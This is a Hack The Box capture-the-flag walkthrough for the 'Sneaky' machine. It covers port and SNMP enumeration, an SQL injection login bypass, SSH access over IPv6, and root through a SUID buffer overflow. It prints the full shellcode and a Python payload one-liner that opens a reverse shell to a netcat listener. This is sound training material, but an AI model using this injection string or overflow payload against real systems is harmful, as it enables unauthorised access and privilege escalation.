Sneaky — HTB walkthrough
Sneak your way in. SQL injection, SNMP exploit, IPv6 and Buffer Overflow, and what not made this machine really a good source of learning. Things will not be easy, so sit back tight and seek how to accomplish things.
ENUMERATION
Nmap Scans
80 HTTP Enumeration
Gobuster scan
Nikto scan
Visiting /dev directory
Tried running hydra to bruteforce password till we seek any other flaw
Then I tried SQL injection.
I tried them all on username and found that they didn’t work. After lots of trial I found username was not vulnerable but password field was . And
‘ or 1=1# worked there
We got two names and an SSH key
Copy the value of key. We also get hint in URL : administratorfordifficulttimes
This key is saved but since ssh port is closed we cannot login. Let’s enumerate UDP ports. The only useful port we see is SNMP
SNMP : Simple Network Management Protocol
Using msf modules for snmp
Use snmp_login to see login details
Refer : https://resources.infosecinstitute.com/snmp-pentesting/#gref
First we reconfirm that we have public string, for this we will use onesixtyone.
Now we will use SNMP walk to gain info about public string of sysName Value
And we get IPv6 value in decimal format:
222.173.190.239.0.0.0.0.2.80.86.255.254.185.123.21
Why do we do take IPv6 from here ?? because this is network configuration flaw. People harden TCP ports for IPv4 and usually forget IPv6. Remember doing PasswordAuthentication no under IPv4 addresses, won’t apply the same for IPv6, in /etc/ssh/sshd_config.
For getting HEX from decimal you can either use tool : enyx.py Or snmp-mibs-downloader.
1) For enyx.py :
python /opt/Enyx/enyx.py 2c public 10.10.10.20
2) For snmp-mibs-downloader ,
1) apt-get install snmp-mibs-downloader. < once this is downloaded>
2) nano /etc/snmp/snmp.conf and comment line which says , mibs:
3)Again do snmpwalk
Thus we have our IPv6 address. Now getting back to exploitation.
EXPLOITATION
After we get IPv6 we will connect to SSH using that
PRIVILEGE ESCALATION
Looking for SUID bits on, for user thrasivoulos
How to check if it is vulnerable or not ? Using ltrace
Run the program in gdb and disassemble main function
We see it copies some value. Let’s run the program providing it some value
1) Fuzzing
2) Finding Offset
We see we have some overflow between value 300 to 400, fuzzing a little more shows the value should be between 360 to 370.
Now we will check value of esp eip and ebp
We will pass this value of EIP to pattern_offset.rb of metasploit-framework which will give us the exact memory size allocated for name, after which we can send our shellcode
3) Overwriting EIP
So now we will send 362 As and 4 Bs and 100 Cs to see the register value and overflow eip with B’s
Checking values in register again we see
We see Bs is at 0xff8b8fdc
Now we will send 0xff8b8fdc in place of B after setting break point and see if hits breakpoint
And since our breakpoint has hit so next step will be to send our shellcode with some padding
4) Generating Shellcode
Shellcode= “\xb8\xed\xb5\x6c\x4e\xd9\xc2\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x12\x83\xc2\x04\x31\x42\x0e\x03\xaf\xbb\x8e\xbb\x1e\x1f\xb9\xa7\x33\xdc\x15\x42\xb1\x6b\x78\x22\xd3\xa6\xfb\xd0\x42\x89\xc3\x1b\xf4\xa0\x42\x5d\x9c\x38\xbf\x93\x5b\x55\xbd\xab\x67\x77\x48\x4a\xd7\x11\x1b\xdc\x44\x6d\x98\x57\x8b\x5c\x1f\x35\x23\x31\x0f\xc9\xdb\xa5\x60\x02\x79\x5f\xf6\xbf\x2f\xcc\x81\xa1\x7f\xf9\x5c\xa1”
Sending shellcode with some padding. We will be passing As’ to easily detect it in gdb
Running this on gdb of thrisovoulos
Verifying registers we see
Looking at registers
We see 90s returning back after somespace in register as highlighted above. So we will be selecting our eip somewhere between them and run it again. <Keep nc listener on at port 1234>
But what is this???? We spawned thrasivoulos shell …… This was because we ran our code inside gdb. Let’s run the same from home of thrasivoulos.
Ok so we need to go back to thrasivoulos shell run the command from there if any segmentation fault occurs, we need to repeat the process, that means
1) Run chal $(python -c ‘offset = 362; shell = “”;shell += “\xb8\xed\xb5\x6c\x4e\xd9\xc2\xd9\x74\x24\xf4\x5a\x29\xc9\xb1”;shell += “\x12\x83\xc2\x04\x31\x42\x0e\x03\xaf\xbb\x8e\xbb\x1e\x1f\xb9”;shell += “\xa7\x33\xdc\x15\x42\xb1\x6b\x78\x22\xd3\xa6\xfb\xd0\x42\x89”;shell += “\xc3\x1b\xf4\xa0\x42\x5d\x9c\x38\xbf\x93\x5b\x55\xbd\xab\x67”;shell += “\x77\x48\x4a\xd7\x11\x1b\xdc\x44\x6d\x98\x57\x8b\x5c\x1f\x35”;shell += “\x23\x31\x0f\xc9\xdb\xa5\x60\x02\x79\x5f\xf6\xbf\x2f\xcc\x81”;shell += “\xa1\x7f\xf9\x5c\xa1”;nop = “\x90”*(offset — len(shell));eip=”\xa0\xf7\xff\xbf”;payload=nop+shell+eip;print(payload);’) from home of thrasivoulos
2) If segmentation fault occurs go to gdb , run this command again, review the register, Select one address in between NOP space. Edit eip. Don’t forget to come out of gdb
3) Keep your netcat on at 1234
4) again run chal $(python <your code with new eip>)
So doing the same i.e., after I did the above hit and trial process I got my EIP at \x44\xf7\xff\xbf
And on netcat
Finally ROOTED !!!